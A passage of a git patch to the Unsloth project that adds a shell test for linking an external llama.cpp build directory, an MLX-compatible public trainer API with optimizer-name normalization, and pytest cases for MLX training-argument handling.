delete-then-link it onto itself. +assert_contains \ + "setup.sh: ignores a local dir equal to the canonical install location" \ + "$SETUP_SH" 'if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then' +assert_contains \ + "setup.ps1: ignores a local dir equal to the canonical install location" \ + "$SETUP_PS1" 'if ($ResolvedLocal -eq $LlamaCppDir) {' + +echo "" +echo "=== Results ===" +echo " PASS: $PASS" +echo " FAIL: $FAIL" +if [ "$FAIL" -gt 0 ]; then + echo "FAILED" + exit 1 +fi +echo "ALL PASSED" diff --git a/tests/sh/test_with_llama_cpp_dir_link_behavior.sh b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh new file mode 100644 index 0000000000..fb09e56c51 --- /dev/null +++ b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh @@ -0,0 +1,132 @@ +#!/usr/bin/env bash +# Behavioral test for the --with-llama-cpp-dir linking block in studio/setup.sh. +# The companion test_with_llama_cpp_dir_flag.sh is a static wiring check; this one +# actually RUNS the real link logic (extracted from setup.sh by content anchors, +# not line numbers) against hermetic fake dirs and asserts the outcomes Lee asked +# for: an external built dir gets linked, neither the prebuilt download nor the +# source build is armed, an unbuilt dir is rejected, a relink doesn't destroy the +# target, and pointing at the canonical path is a no-op. POSIX symlinks here; +# the Windows junction path is covered by the backend test suite. +set -u +HERE="$(CDPATH= cd -P -- "$(dirname "$0")" && pwd -P)" +SETUP="$HERE/../../studio/setup.sh" +fails=0 +check() { # name expected actual + if [ "$2" = "$3" ]; then printf ' PASS %s\n' "$1" + else printf ' FAIL %s : expected [%s] got [%s]\n' "$1" "$2" "$3"; fails=$((fails+1)); fi +} + +# Extract the two helpers + the whole `UNSLOTH_LOCAL_LLAMA_CPP_DIR` if-block. +# Starts at the quantize-shim helper, ends at the first column-0 `fi` after the +# `if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR..` guard (inner ifs are indented). +block="$(awk ' + /^_link_local_llama_quantize_shim\(\) \{/ {grab=1} + grab {print} + /^if \[ -n "\$\{UNSLOTH_LOCAL_LLAMA_CPP_DIR/ {inif=1} + inif && /^fi$/ {exit} +' "$SETUP")" + +# Self-validate the extraction so a future setup.sh refactor fails loudly here. +case "$block" in *'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'*) : ;; + *) echo "FAIL: link block extraction broke (no ln -sfn)"; exit 1 ;; esac +case "$block" in *'_has_local_llama_server'*) : ;; + *) echo "FAIL: link block extraction broke (no _has_local_llama_server)"; exit 1 ;; esac + +# Stub setup.sh's logging + ownership helpers, seed the vars the block reads, +# then run the extracted block and print the resulting state. +PREAMBLE=' +set -u +step() { :; }; substep() { :; }; verbose_substep() { :; } +_assert_studio_owned_or_absent() { :; } +C_ERR="" +_STUDIO_HOME_IS_CUSTOM=false +_NEED_LLAMA_SOURCE_BUILD=UNSET +_SKIP_PREBUILT_INSTALL=UNSET +' +EPILOGUE=' +echo "LINKED=$_LOCAL_LLAMA_CPP_LINKED" +echo "NEED_BUILD=$_NEED_LLAMA_SOURCE_BUILD" +echo "SKIP_PREBUILT=$_SKIP_PREBUILT_INSTALL" +if [ -L "$LLAMA_CPP_DIR" ]; then echo "ISLINK=1"; echo "TARGET=$(readlink "$LLAMA_CPP_DIR")"; else echo "ISLINK=0"; fi +' +SNIP="$PREAMBLE"$'\n'"$block"$'\n'"$EPILOGUE" + +# run_link -> prints state lines; RC in $RC +run_link() { + OUT="$(env -i PATH="$PATH" HOME="$T" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$1" LLAMA_CPP_DIR="$2" \ + bash -c "$SNIP" 2>/dev/null)" + RC=$? +} +val() { printf '%s\n' "$OUT" | grep "^$1=" | head -1 | cut -d= -f2-; } + +T="$(mktemp -d)" +trap 'rm -rf "$T"' EXIT + +# Some environments (Windows git-bash without native symlinks) make `ln -s` copy +# instead of link. The symlink-identity assertions (ISLINK / readlink target) +# only run where real symlinks exist; the link/skip/no-data-loss assertions run +# everywhere, including CI (Linux), where the link path is the real one. +ln -s "$T" "$T/.symprobe" 2>/dev/null +if [ -L "$T/.symprobe" ]; then SYMLINKS=1; else SYMLINKS=0; fi +rm -rf "$T/.symprobe" + +# A built external tree (CMake layout) + a flat/`make` tree (root-level binary). +# The fake binary is a shebang script so the `-x` test in _has_local_llama_server +# holds on both Linux (chmod +x) and Windows git-bash (MSYS treats #!-files as +# executable), without needing a real platform binary. +mk_exe() { printf '#!/bin/sh\necho fake\n' > "$1"; chmod +x "$1"; } +mk_built() { mkdir -p "$1/build/bin"; mk_exe "$1/build/bin/llama-server"; } +mk_flat() { mkdir -p "$1"; mk_exe "$1/llama-server"; } + +# 1. External CMake build -> linked, and BOTH install paths disarmed. +EXT1="$T/ext_cmake"; mk_built "$EXT1"; : > "$EXT1/keep.txt" +CANON1="$T/home1/llama.cpp"; mkdir -p "$(dirname "$CANON1")" +run_link "$EXT1" "$CANON1" +check "cmake build: linked" "true" "$(val LINKED)" +check "cmake build: source build off" "false" "$(val NEED_BUILD)" +check "cmake build: prebuilt skipped" "true" "$(val SKIP_PREBUILT)" +if [ "$SYMLINKS" = 1 ]; then + check "cmake build: canonical is a symlink" "1" "$(val ISLINK)" + check "cmake build: link points at external" "$(CDPATH= cd -P -- "$EXT1" && pwd -P)" "$(val TARGET)" +else + printf ' SKIP cmake build: symlink-identity (no real symlinks here)\n' +fi + +# 2. Flat / make tree (root-level llama-server, no build/bin) -> still linked +# (the new layout-candidate acceptance; the old check rejected this). +EXT2="$T/ext_flat"; mk_flat "$EXT2" +CANON2="$T/home2/llama.cpp"; mkdir -p "$(dirname "$CANON2")" +run_link "$EXT2" "$CANON2" +check "flat build: linked (root-level llama-server accepted)" "true" "$(val LINKED)" + +# 3. Unbuilt tree -> rejected (non-zero exit, no link created). +EXT3="$T/ext_empty"; mkdir -p "$EXT3" +CANON3="$T/home3/llama.cpp"; mkdir -p "$(dirname "$CANON3")" +run_link "$EXT3" "$CANON3" +check "unbuilt tree: rejected (exit != 0)" "yes" "$([ "$RC" -ne 0 ] && echo yes || echo no)" +check "unbuilt tree: no link left behind" "no" "$([ -L "$CANON3" ] && echo yes || echo no)" + +# 4. Relink over a stale link must NOT destroy the (new) target's contents. +OLD="$T/ext_old"; mk_built "$OLD" +NEW="$T/ext_new"; mk_built "$NEW"; : > "$NEW/precious.txt" +CANON4="$T/home4/llama.cpp"; mkdir -p "$(dirname "$CANON4")" +ln -sfn "$OLD" "$CANON4" # simulate a prior --with-llama-cpp-dir run +run_link "$NEW" "$CANON4" +if [ "$SYMLINKS" = 1 ]; then + check "relink: now points at the new external" "$(CDPATH= cd -P -- "$NEW" && pwd -P)" "$(val TARGET)" +fi +check "relink: new target's contents preserved" "yes" "$([ -f "$NEW/precious.txt" ] && echo yes || echo no)" +check "relink: old target's contents preserved" "yes" "$([ -f "$OLD/build/bin/llama-server" ] && echo yes || echo no)" + +# 5. Pointing at the canonical path itself is a no-op reuse: linked, not turned +# into a self-referential symlink, contents untouched. +CANON5="$T/home5/llama.cpp"; mk_built "$CANON5"; : > "$CANON5/keep.txt" +run_link "$CANON5" "$CANON5" +check "canonical no-op: linked" "true" "$(val LINKED)" +check "canonical no-op: not made a symlink" "0" "$(val ISLINK)" +check "canonical no-op: contents preserved" "yes" "$([ -f "$CANON5/keep.txt" ] && echo yes || echo no)" + +echo "" +if [ "$fails" -ne 0 ]; then echo "$fails check(s) failed"; exit 1; fi +echo "All checks passed" From d91824583452f8d1faf3973a15d3dc4ef5a334ac Mon Sep 17 00:00:00 2001 From: Long Yixing Date: Fri, 3 Jul 2026 06:02:26 +0800 Subject: [PATCH 16/27] Add MLX-aware public Unsloth trainer API (#6462) * feat: add mlx public trainer api * test: cover mlx public trainer api * fix: preserve mlx epoch trainer configs * fix: pass mlx warmup ratio through config * fix: align mlx trainer dataset order * fix: keep mlx chat templates import-light * fix: infer mlx trainer context length * fix: mirror cuda mlx context defaults * fix: align mlx notebook trainer defaults * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: keep mlx public helpers import-light * refactor: reuse mlx optimizer normalization * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: address mlx review feedback * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: tighten mlx training argument parity * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: align mlx trainer eos default * Fix MLX trainer to accept DataCollatorForSeq2Seq and handle TokenizerWrapper in get_chat_template * Trim redundant docstrings on internal MLX helpers * MLX review fixes: Studio optimizer import-safe on non-MLX hosts, preserve explicit max_length, skip MLX tests before import * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * MLX review round 2: defer max_length to model context, optimizer alias fallback for older zoo, skip non-MLX test on missing GPU deps * MLX review round 3: keep chat_templates importable without torch on MLX * fix: preserve MLX trainer notebook shims * fix: ignore CUDA tokenizer moves on MLX * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: harden MLX trainer shims * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: unwrap MLX scheduler enum args * fix: coerce integral MLX epoch counts * fix: spoof CUDA compatibility APIs on MLX * fix: harden MLX notebook compatibility shims * MLX: add torch.cuda.mem_get_info to the compatibility shim Notebook memory cells call torch.cuda.mem_get_info()[0] directly (not gated by is_available), so on MLX it raises without a shim. Return (free, total) bytes from the MLX device stats, consistent with the other torch.cuda compat helpers, and add a matching assertion to the compat-API test. * MLX: use active memory for mem_get_info; fix BatchEncoding.to keyword device Address review on the MLX compatibility shim: - torch.cuda.mem_get_info() now derives free bytes from current active MLX memory instead of the peak high-water mark, so a capacity check stays accurate after a transient spike or a prior run. - BatchEncoding.to(device=...) passed by keyword no longer forwards a positional None alongside the keyword (which raised "multiple values for 'device'"), so non-CUDA keyword moves like .to(device="cpu") delegate correctly. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * MLX: accept preserve_dataset_order; stub RL trainers with a clear error Two fixes so unmigrated notebooks behave predictably on MLX (torch present): - preserve_dataset_order is a real MLXTrainingConfig field but was missing from the extra-argument allowlist, so passing it (as a config or trainer kwarg) could be rejected as unknown on a zoo without the field. Add it to _MLX_IMPLEMENTED_EXTRA_ARGUMENTS so the documented no-shuffle path is reachable. - GRPO/DPO/ORPO (and KTO/PPO/Reward) have no MLX trainer yet. Retarget the ones the installed trl exposes to a stub that raises a clear 'not supported on MLX' error instead of importing the real torch/CUDA trainer and crashing deep inside it. Only existing trainers are retargeted (no invented attributes), idempotent across re-imports. * MLX: make RL-trainer stubbing import-safe; back current-memory APIs with active memory Address review on the MLX shims: - The RL-trainer stub loop probed trl with getattr(_trl, name), which triggers trl's lazy trainer import and pulls torch -- that can crash import unsloth on a torch-free MLX install just to check existence. Decide what to stub from trl.__all__ + already-materialized attrs (vars) instead; never resolve the real trainer. All trl trainer names are in __all__, so they are still stubbed (even torch-free), and the probe no longer imports torch. - torch.cuda.memory_reserved / memory_allocated (the current, non-max APIs) were aliased to peak max_memory_reserved. Back them with current active MLX memory so cleanup / capacity checks see live usage; max_* keep the peak high-water mark. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * MLX: keep TRL's SFTConfig epoch default under the trl.SFTConfig alias Unmigrated notebooks import SFTConfig from trl, which the MLX build aliases to the public training-args class. TRL/HF SFTConfig defaults to num_train_epochs=3 (max_steps=-1); the native MLX config defaults to max_steps=60. So an SFTConfig built without an explicit length silently ran 60 MLX steps instead of TRL's 3 epochs under the alias. Alias trl.SFTConfig to a thin subclass that seeds the TRL epoch default only when neither max_steps nor num_train_epochs is given; explicit lengths pass through untouched, and the native public args class keeps its MLX default. Epoch mode is supported by the MLX trainer. * MLX CI: keep the GGUF reload smoke under the job timeout The RELOAD-GGUF-via-llama-cli step timed out at 300s. BF16 GGUF decode is CPU-bound on the macOS runner (~10s+/token), so generating 24 tokens landed right on the 300s cliff and killed the process. This step is a save/reload integrity smoke (it only needs a few chars of output), so the token count is incidental: generate 8 tokens with explicit threads and a small headroom on the subprocess timeout, all env-tunable (UNSLOTH_GGUF_RELOAD_N / _THREADS / _TIMEOUT). Cuts the reload well under the 25 minute job budget. * MLX: broaden trainer stubs, real peak-memory reset, fix shim tests Address review on the MLX public API: - The SFTConfig identity tests asserted trl.SFTConfig is UnslothTrainingArguments, but the alias now points at the _MLXSFTConfig subclass that preserves TRL's epoch default, so the MLX suite failed before testing the shim. Assert issubclass instead. - torch.cuda.reset_peak_memory_stats was a no-op, so max_memory_reserved kept earlier model-load peaks across a scoped run. Wire it to mx.reset_peak_memory with the same core/metal fallback used for the reads. - The unsupported-trainer stubs were a fixed list, so trainers outside it (a newer RLOOTrainer) still routed to the real torch trainer. Derive the set from trl.__all__ (every non-SFT *Trainer) so all non-SFT surfaces fail with a clear MLX message; names come from __all__ so trl is never resolved. - The non-MLX export smoke skipped only on missing bitsandbytes/triton; other absent GPU deps (numpy/torch/unsloth-zoo, or _gpu_init re-raising ImportError) made it fail on CPU hosts. Skip on any ImportError. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * fix: keep MLX notebook compatibility minimal * MLX CI: force CPU + small context for the GGUF reload smoke The RELOAD-GGUF-via-llama-cli step timed out even at 8 tokens (>420s), so it is a fixed hang, not per-token cost: on the paravirtual macOS runner GPU llama.cpp's Metal backend stalls, and the gemma3 GGUF advertises a 32768 context that llama-cli would otherwise fully allocate. Run llama-cli CPU-only (-ngl 0) with a small context (-c 256); keep generation short. All env-tunable (UNSLOTH_GGUF_RELOAD_NGL / _CTX / _N / _THREADS / _TIMEOUT). Also print llama.cpp's partial stdout/stderr on timeout so a future hang is diagnosable instead of an opaque TimeoutExpired. * MLX CI: export the reload-smoke GGUF as q8_0, not bf16 The GGUF reload via llama-cli timed out on the runner even CPU-only with a tiny context and 8 tokens. Root cause is the format, not the flags: the smoke exported quantization_method='not_quantized', which maps to a bf16 GGUF, and llama.cpp's bf16 CPU decode is unusably slow on the paravirtual macOS runner. Export q8_0 (fast_quantized, the exporter default and what users deploy) instead -- llama.cpp has optimized q8_0 CPU kernels, so the fresh-process reload loads and generates in seconds. The reload stays CPU-only (-ngl 0) with a small context. * test: clear TRL shim before availability check --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: Daniel Han Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com> Co-authored-by: imagineer99 --- studio/backend/core/training/worker.py | 58 +- .../tests/test_mlx_training_worker_config.py | 2 +- tests/python/test_mlx_public_trainer_api.py | 1206 ++++++++++++++++ tests/studio/run_real_mlx_smoke.py | 54 +- unsloth/__init__.py | 1270 ++++++++++++++++- unsloth/chat_templates.py | 67 +- 6 files changed, 2595 insertions(+), 62 deletions(-) create mode 100644 tests/python/test_mlx_public_trainer_api.py diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py index 610af2472e..17dc1299ca 100644 --- a/studio/backend/core/training/worker.py +++ b/studio/backend/core/training/worker.py @@ -1253,32 +1253,48 @@ def _adapt_for_mlx_vlm( return adapted -_MLX_STUDIO_OPTIM_MAP = { - "adamw_8bit": "adamw", - "paged_adamw_8bit": "adamw", - "adamw_bnb_8bit": "adamw", - "paged_adamw_32bit": "adamw", - "adamw_torch": "adamw", - "adamw_torch_fused": "adamw", - "adamw": "adamw", - "adafactor": "adafactor", - "sgd": "sgd", - "adam": "adam", - "muon": "muon", - "lion": "lion", -} _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"} +# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used +# only when mlx (Apple Silicon) is not importable so Studio config validation +# still works on non-MLX hosts. The zoo function stays the source of truth. +_MLX_STUDIO_ADAMW_ALIASES = frozenset( + ( + "adamw_8bit", + "paged_adamw_8bit", + "adamw_bnb_8bit", + "paged_adamw_32bit", + "adamw_torch", + "adamw_torch_fused", + "paged_adamw", + "adamw_32bit", + "adamw_hf", + "adamw_anyprecision", + "adamw_apex_fused", + ) +) +_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion") + + def _normalize_mlx_studio_optimizer(value): - raw = str(value or "adamw_8bit").strip().lower() try: - return _MLX_STUDIO_OPTIM_MAP[raw] - except KeyError: - supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP)) - raise ValueError( - f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}." - ) + from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name + return _normalize_mlx_optimizer_name(value or "adamw_8bit") + except (ImportError, ValueError): + # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL + # aliases: map common adamw_* names locally so notebook defaults work. + opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower() + opt = opt.rsplit(".", 1)[-1].replace("-", "_") + if opt in _MLX_STUDIO_ADAMW_ALIASES: + opt = "adamw" + if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS: + supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS) + raise ValueError( + f"Unsupported optimizer for MLX training: {value!r}. " + f"Supported optimizers: {supported}." + ) + return opt def _normalize_mlx_studio_scheduler(value): diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py index dce5e27c08..14fc0933d0 100644 --- a/studio/backend/tests/test_mlx_training_worker_config.py +++ b/studio/backend/tests/test_mlx_training_worker_config.py @@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit(): def test_mlx_studio_rejects_unknown_optimizer(): - with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"): + with pytest.raises(ValueError, match = "Supported"): _normalize_mlx_studio_optimizer("adamw_typo") diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py new file mode 100644 index 0000000000..2c33f86af1 --- /dev/null +++ b/tests/python/test_mlx_public_trainer_api.py @@ -0,0 +1,1206 @@ +"""Tests for the MLX public trainer compatibility surface.""" + +from __future__ import annotations + +import builtins +import importlib +import importlib.util +import platform +import sys +import types +import warnings + +import pytest + +_MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend" + + +def _import_mlx_unsloth(): + """Import unsloth and skip when the current platform is not using MLX.""" + # Skip before importing unsloth so non-MLX hosts missing optional GPU deps + # (e.g. bitsandbytes) skip cleanly instead of erroring at collection. + if not ( + platform.system() == "Darwin" + and platform.machine() == "arm64" + and importlib.util.find_spec("mlx") is not None + ): + pytest.skip(_MLX_SKIP_REASON) + unsloth = importlib.import_module("unsloth") + if getattr(unsloth, "DEVICE_TYPE", None) != "mlx": + pytest.skip(_MLX_SKIP_REASON) + return unsloth + + +class _DummyModel: + """Small model stub that satisfies MLXTrainer constructor probes.""" + + def trainable_parameters(self): + """Return no trainable parameters for constructor-only tests.""" + return {} + + +class _DummyVLMModel(_DummyModel): + """Small VLM model stub for MLX vision trainer constructor probes.""" + + _is_vlm_model = True + + +def test_mlx_exports_unsloth_trainer_api(): + """MLX imports should expose the public Unsloth trainer API.""" + unsloth = _import_mlx_unsloth() + from unsloth import ( + RawTextDataLoader, + TextPreprocessor, + UnslothTrainer, + UnslothTrainingArguments, + clear_gpu_memory, + get_gpu_memory_stats, + ) + + assert RawTextDataLoader is unsloth.RawTextDataLoader + assert TextPreprocessor is unsloth.TextPreprocessor + assert UnslothTrainer is unsloth.UnslothTrainer + assert UnslothTrainingArguments is unsloth.UnslothTrainingArguments + assert get_gpu_memory_stats is unsloth.get_gpu_memory_stats + assert clear_gpu_memory is unsloth.clear_gpu_memory + assert issubclass(UnslothTrainer, unsloth.MLXTrainer) + assert issubclass(UnslothTrainingArguments, unsloth.MLXTrainingConfig) + assert importlib.util.find_spec("unsloth.memory") is None + + +def test_non_mlx_exports_public_trainer_api_when_available(): + """GPU/ROCm imports should keep exporting the public Unsloth trainer API.""" + try: + unsloth = importlib.import_module("unsloth") + except ImportError as exc: + # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo, + # bitsandbytes/triton, and _gpu_init can re-raise missing deps as + # ImportError). Skip when any of it is unavailable rather than failing + # collection on CPU/ROCm/XPU review hosts. + pytest.skip(f"non-MLX import dependency unavailable: {exc}") + if getattr(unsloth, "DEVICE_TYPE", None) == "mlx": + pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends") + + assert unsloth.UnslothTrainer is not None + assert unsloth.UnslothTrainingArguments is not None + assert callable(unsloth.get_gpu_memory_stats) + assert callable(unsloth.clear_gpu_memory) + assert importlib.util.find_spec("unsloth.memory") is None + + +def test_mlx_training_arguments_accept_trl_style_kwargs(): + """TRL/SFTConfig-style kwargs should normalize without breaking MLX config.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "bf16.*dataset_kwargs"): + args = unsloth.UnslothTrainingArguments( + max_length = 123, + max_steps = 10, + warmup_ratio = 0.2, + remove_unused_columns = False, + dataset_kwargs = {"skip_prepare_dataset": True}, + bf16 = True, + ) + + assert args.max_seq_length == 123 + assert args.warmup_steps == 2 + assert args.remove_unused_columns is False + assert args.dataset_kwargs == {"skip_prepare_dataset": True} + assert args.bf16 is True + assert args.warmup_ratio == 0.2 + assert args._unsloth_mlx_max_seq_length_explicit is False + assert args._unsloth_mlx_warmup_steps_explicit is False + + +def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras(): + """Implemented and falsey inert compatibility kwargs should stay quiet.""" + unsloth = _import_mlx_unsloth() + + with warnings.catch_warnings(record = True) as caught: + warnings.simplefilter("always") + args = unsloth.UnslothTrainingArguments( + warmup_ratio = 0.2, + max_steps = 10, + padding_free = False, + remove_unused_columns = False, + assistant_only_loss = False, + completion_only_loss = False, + ) + + assert args.warmup_steps == 2 + assert args.padding_free is False + assert args.remove_unused_columns is False + assert args.completion_only_loss is False + assert caught == [] + + +def test_mlx_training_arguments_prefer_canonical_max_seq_length(): + """Canonical MLX config fields should win over compatibility aliases.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(max_seq_length = 456, max_length = 123) + dict_args = unsloth.UnslothTrainingArguments( + {"max_length": 123, "max_seq_length": 456}, + ) + + assert args.max_seq_length == 456 + assert args.max_length == 456 + assert args._unsloth_mlx_max_length_value == 456 + assert dict_args.max_seq_length == 456 + assert dict_args.max_length == 456 + assert dict_args._unsloth_mlx_max_length_value == 456 + assert args._unsloth_mlx_max_seq_length_explicit is True + assert dict_args._unsloth_mlx_max_seq_length_explicit is True + + +def test_mlx_training_arguments_preserve_explicit_positive_warmup_steps(): + """Explicit warmup_steps should take precedence over warmup_ratio.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments( + max_steps = 10, + warmup_steps = 5, + warmup_ratio = 0.1, + ) + + assert args.warmup_steps == 5 + assert args._unsloth_mlx_warmup_steps_explicit is True + + +def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch): + """Older MLX releases expose cache clearing under mx.metal.clear_cache.""" + unsloth = _import_mlx_unsloth() + import mlx.core as mx + + called = [] + metal = getattr(mx, "metal", None) or type("Metal", (), {})() + monkeypatch.delattr(mx, "clear_cache", raising = False) + monkeypatch.setattr(mx, "metal", metal, raising = False) + monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False) + + unsloth.clear_gpu_memory() + + assert called == ["metal"] + + +def test_mlx_training_arguments_preserve_explicit_epoch_training(): + """Epoch-based configs should not inherit the MLX max_steps default.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(num_train_epochs = 1, warmup_ratio = 0.1) + default_args = unsloth.UnslothTrainingArguments() + + assert args.num_train_epochs == 1 + assert args.max_steps == -1 + assert args.warmup_ratio == 0.1 + assert args._unsloth_mlx_warmup_steps_explicit is False + assert default_args.max_steps == unsloth.MLXTrainingConfig.max_steps + + +def test_mlx_training_arguments_keep_mlx_dataset_order_default(): + """Training arguments alone should not override MLX's native data order.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments(max_steps = 1) + explicit_default = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "default", + ) + + assert args.dataset_order == "default" + assert args._unsloth_mlx_dataset_order_explicit is False + assert args._unsloth_mlx_max_seq_length_explicit is False + assert explicit_default.dataset_order == "default" + assert explicit_default._unsloth_mlx_dataset_order_explicit is True + + +def test_mlx_training_arguments_warn_on_meaningful_inert_kwargs(): + """Unsupported TrainingArguments knobs should not be silently ignored.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "push_to_hub.*save_strategy"): + args = unsloth.UnslothTrainingArguments( + save_strategy = "steps", + push_to_hub = True, + padding_free = False, + ) + + assert args.save_strategy == "steps" + assert args.push_to_hub is True + assert args.padding_free is False + + +def test_mlx_training_arguments_reject_unknown_kwargs(): + """Unknown SFTConfig flags should fail instead of becoming inert attributes.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "assistant_only_loss"): + unsloth.UnslothTrainingArguments(assistant_only_loss = True) + + completion_args = unsloth.UnslothTrainingArguments(completion_only_loss = True) + assert completion_args.completion_only_loss is True + + +def test_mlx_training_arguments_reject_unsupported_object_flags(): + """Object-style SFTConfig flags should not be silently dropped.""" + unsloth = _import_mlx_unsloth() + + class ArgsObject: + max_steps = 1 + assistant_only_loss = True + + with pytest.raises(NotImplementedError, match = "assistant_only_loss"): + unsloth._coerce_mlx_training_args(ArgsObject()) + + class CompletionArgsObject: + max_steps = 1 + completion_only_loss = True + + completion_args = unsloth._coerce_mlx_training_args(CompletionArgsObject()) + assert completion_args.completion_only_loss is True + + +def test_mlx_training_arguments_accept_output_dir_positional(): + """A single positional output_dir should match TrainingArguments behavior.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments("custom-outputs", max_steps = 3) + + assert args.output_dir == "custom-outputs" + assert args.max_steps == 3 + + +def test_mlx_training_arguments_normalize_optim_and_object_aliases(): + """Common notebook optimizer names and object aliases should normalize.""" + unsloth = _import_mlx_unsloth() + + class Scheduler: + value = "cosine" + + class ArgsObject: + optim = "adamw_8bit" + eval_steps = None + lr_scheduler_type = Scheduler() + max_length = 321 + max_steps = 10 + num_train_epochs = 3.0 + save_steps = 500 + save_strategy = "no" + warmup_ratio = 0.1 + warmup_steps = 0 + + with pytest.warns(RuntimeWarning, match = "save_strategy"): + args = unsloth._coerce_mlx_training_args(ArgsObject()) + + assert args.optim == "adamw" + assert args.eval_steps == 0 + assert args.lr_scheduler_type == "cosine" + assert args.max_seq_length == 321 + assert args.num_train_epochs == 3 + assert type(args.num_train_epochs) is int + assert args.save_steps == 0 + assert args.warmup_steps == 1 + assert args._unsloth_mlx_warmup_steps_explicit is False + + +def test_mlx_training_arguments_accept_supported_notebook_kwargs(): + """Supported SFT notebooks should be able to pass their current args.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns( + RuntimeWarning, + match = "bf16.*dataset_kwargs.*gradient_checkpointing_kwargs.*save_strategy", + ): + args = unsloth.UnslothTrainingArguments( + bf16 = True, + dataset_kwargs = {"skip_prepare_dataset": True}, + dataset_num_proc = 4, + dataset_text_field = "text", + embedding_learning_rate = 5e-5, + fp16 = False, + gradient_accumulation_steps = 8, + gradient_checkpointing = True, + gradient_checkpointing_kwargs = {"use_reentrant": False}, + learning_rate = 1e-4, + logging_steps = 2, + lr_scheduler_type = "cosine", + max_grad_norm = 0.3, + max_length = 1024, + max_steps = 10, + num_train_epochs = 1, + optim = "paged_adamw_8bit", + output_dir = "outputs", + padding_free = False, + per_device_train_batch_size = 1, + remove_unused_columns = False, + report_to = "none", + save_strategy = "steps", + seed = 123, + warmup_ratio = 0.1, + weight_decay = 0.01, + ) + + assert args.dataset_num_proc == 4 + assert args.dataset_text_field == "text" + assert args.embedding_learning_rate == 5e-5 + assert args.gradient_accumulation_steps == 8 + assert args.gradient_checkpointing is True + assert args.learning_rate == 1e-4 + assert args.logging_steps == 2 + assert args.lr_scheduler_type == "cosine" + assert args.max_grad_norm == 0.3 + assert args.max_seq_length == 1024 + assert args.max_steps == 10 + assert args.num_train_epochs == 1 + assert args.optim == "adamw" + assert args.output_dir == "outputs" + assert args.per_device_train_batch_size == 1 + assert args.report_to == "none" + assert args.seed == 123 + assert args.warmup_ratio == 0.1 + assert args.warmup_steps == 1 + assert args.weight_decay == 0.01 + assert args.dataset_kwargs == {"skip_prepare_dataset": True} + assert args.gradient_checkpointing_kwargs == {"use_reentrant": False} + assert args.save_strategy == "steps" + + +def test_mlx_training_arguments_honor_direct_no_save_strategy(): + """Direct kwargs should map save_strategy=no to save_steps=0.""" + unsloth = _import_mlx_unsloth() + + with pytest.warns(RuntimeWarning, match = "save_strategy"): + args = unsloth.UnslothTrainingArguments( + save_strategy = "no", + save_steps = 500, + ) + + assert args.save_steps == 0 + + +def test_mlx_trainer_accepts_common_sft_kwargs(): + """UnslothTrainer should accept common SFTTrainer kwargs on MLX.""" + unsloth = _import_mlx_unsloth() + + with warnings.catch_warnings(record = True) as caught: + warnings.simplefilter("always") + trainer = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + dataset_num_proc = 8, + max_length = 456, + optim = "adamw_bnb_8bit", + processing_class = object(), + ) + + assert trainer.args.max_steps == 1 + assert trainer.args.dataset_num_proc == 8 + assert trainer.args.max_seq_length == 456 + assert trainer.args.max_grad_norm == 1.0 + 